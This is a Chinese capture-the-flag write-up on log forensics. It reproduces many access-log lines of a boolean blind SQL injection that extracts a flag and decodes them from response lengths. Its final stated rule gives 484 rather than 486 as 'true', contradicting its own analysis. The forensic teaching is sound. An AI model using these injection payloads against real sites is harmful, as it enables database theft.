CTF合集 日志取证
感谢 yiqing 提供的题目与部分思路
0x00、前言
取证题目是比较新的题目,但又与以往题目思路又大同小异,于是写个post记录一下
0x01、题目
一道qsnctf题
日志分析: 发现服务器被攻击了,请在日志文件里面找到黑客攻击的地址、时间和拿走的flag。flag形式(qsnctf{IP地址-年/月/日-flag}) |
日志文件 |
给出了一大堆黑客活动产生的日志记录,我主要找黑客盗取的flag,黑客主要盲注过程经浓缩后数据大致如下所示
218.26.159.30 - - [06/Mar/2023:16:33:27 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>64 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:28 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>96 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:29 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>112 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:30 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>120 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:31 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>116 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:32 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>114 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:34 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>113 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:35 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>96 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:36 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>112 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:37 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>120 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:38 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>116 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:39 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>114 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:40 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>115 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:41 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>96 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:42 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>112 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:43 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>104 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:44 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>108 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:45 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>110 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:46 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>109 HTTP/1.1" 200 486
......(此处省略n行)
一开始对此是毫无头绪的,因为以前学的盲注知识几乎忘得一干二净
因此赶紧到网络上找到了几篇文章看了一下,遂有了接下来的分析
0x02、分析
众所周知的,ascii字符型盲注的主要原理是二分法,主要过程是:逐语句地一个个试字符串中第n个字符的ascii码值(0 <= n < 字符串长度),对每次盲注response分析后缩小该第n个字符的可能ascii范围,反复 试探-分析-缩小范围 这个过程,最终确定第n个字符的编码值. 简单地说就是逐个字符的二分查找. 因此盲注一般花费的时间非常长,经常需要跑很久
浅浅地观察任意条目的日志,发现初步规律
218.26.159.30 - - [06/Mar/2023:16:33:27 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),[flag第几位字符],1))>[该位字符的尝试值] HTTP/1.1" 200 486
以规律分析日志,发现盲注出来的值应该是一个长度为44的字符串类型. 我们先将日志里前几个字符人工筛出来
第一个字符:
218.26.159.30 - - [06/Mar/2023:16:33:27 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>64 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:28 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>96 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:29 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>112 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:30 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>120 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:31 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>116 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:32 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>114 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:34 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>113 HTTP/1.1" 200 404
第二个字符:
218.26.159.30 - - [06/Mar/2023:16:33:35 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>96 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:36 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>112 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:37 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>120 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:38 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>116 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:39 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>114 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:40 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),2,1))>115 HTTP/1.1" 200 404
第三个字符:
218.26.159.30 - - [06/Mar/2023:16:33:41 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>96 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:42 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>112 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:43 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>104 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:44 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>108 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:45 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>110 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:46 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),3,1))>109 HTTP/1.1" 200 486
......
对第一个字符的盲注日志人工分析
第一个字符:
218.26.159.30 - - [06/Mar/2023:16:33:27 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>64 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:28 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>96 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:29 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>112 HTTP/1.1" 200 486
218.26.159.30 - - [06/Mar/2023:16:33:30 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>120 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:31 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>116 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:32 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>114 HTTP/1.1" 200 404
218.26.159.30 - - [06/Mar/2023:16:33:34 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),1,1))>113 HTTP/1.1" 200 404
我们发现,第一个字符的ascii值可能是113或114,原因是:当倒数第二个盲注语句执行后,根据倒数第一个盲注语句的尝试值我们可以判断当前ascii值 <= 114. 但是我们无法得知最后一个盲注结果,因此113 <= ascii值 <= 114.
由此发现我们缺少一个关键条件判断最后一个盲注语句的值,并且该条件必须是跟response有关
在这里我们可以先人工猜测一下,ascii码的值应该是113,也就是q的ascii码值. 因为这样正好能对得上flag头qsnctf,但是没有依据,不能判断后续字符
继续深入分析,发现整条日志中,就最后一个数字没用到. 猜测该数字与response相关,进一步猜测该数字有可能是response长度
由此根据第一条语句注入过程猜测当前response长度为404时,当前盲注语句为假,当前res长度为486时,当前盲注语句为真
response长度 | 盲注语句值 |
404 | 假 |
486 | 真 |
取前六个字符的盲注语句按以上规律人工分析,发现正好是qsnctf,与flag头正相对应,猜想得以被证明
最终规律
218.26.159.30 - - [06/Mar/2023:16:33:27 0800] "GET /index.php?id=1 AND ORD(MID((SELECT IFNULL(CAST(f1ag AS CHAR),0x20) FROM qsnctf.flag ORDER BY f1ag LIMIT 0,1),[flag第几位字符],1))>[该位字符的尝试值] HTTP/1.1" 200 [该条盲注语句真值,404为假,484为真]
0x03、脚本处理
根据最终规律,写脚本对后续字符遍历,遂确定了黑客盗走的flag为
qsnctf{6c19860-3789a492-8477eccd-5d550b6b2}
再找到IP地址和年/月/日,组合成最终flag就行了